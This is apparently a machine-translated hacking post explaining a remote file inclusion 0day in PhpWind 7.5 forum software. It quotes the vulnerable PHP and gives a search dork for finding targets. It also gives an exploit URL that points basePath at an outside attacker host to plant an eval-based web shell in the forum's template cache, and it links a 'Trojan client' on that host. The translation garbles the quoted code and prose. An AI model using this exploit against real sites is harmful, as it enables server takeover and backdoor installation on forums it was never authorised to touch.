PhpWind 7.5 0day usage method and principle

Waiting for blog

Feasible Method Test
<? Php
If ($ route = "groups "){
Require_once $ basePath./action/m_groups.php;
} Elseif ($ route = "group "){
Require_once $ basePath./action/m_group.php;
} Elseif ($ route = "galbum "){
Require_once $ basePath./action/m_galbum.php;
}
This is the source code with vulnerabilities in the PHPWIND program.
In the code, the $ route variable is not initialized. As a result, it can be assigned a value outside. When its value is groups, it will contain
$ BasePath./action/m_groups.php; this file, and the first half of this file $ basePath is also a variable, and it is not initialized in the program. So, assign it again, And I assign it to the http://1ii1.com.cn, so he includes my role

Keyword "PHPWIND 7.5" inurl: com/bbs
Add the Forum root directory:

Apps/groups/index. php? Route = groups & basePath = http://1ii1.com.cn

Such as: http://1ii1.com.cn/apps/groups/ I... = http://1ii1.com.cn

If it succeeds, a Trojan will be generated. <? Php eval ($ _ POST [cmd])?> In: Forum root directory/data/tplcache/1ii1. php

A Trojan client: http://1ii1.com.cn/yjh.php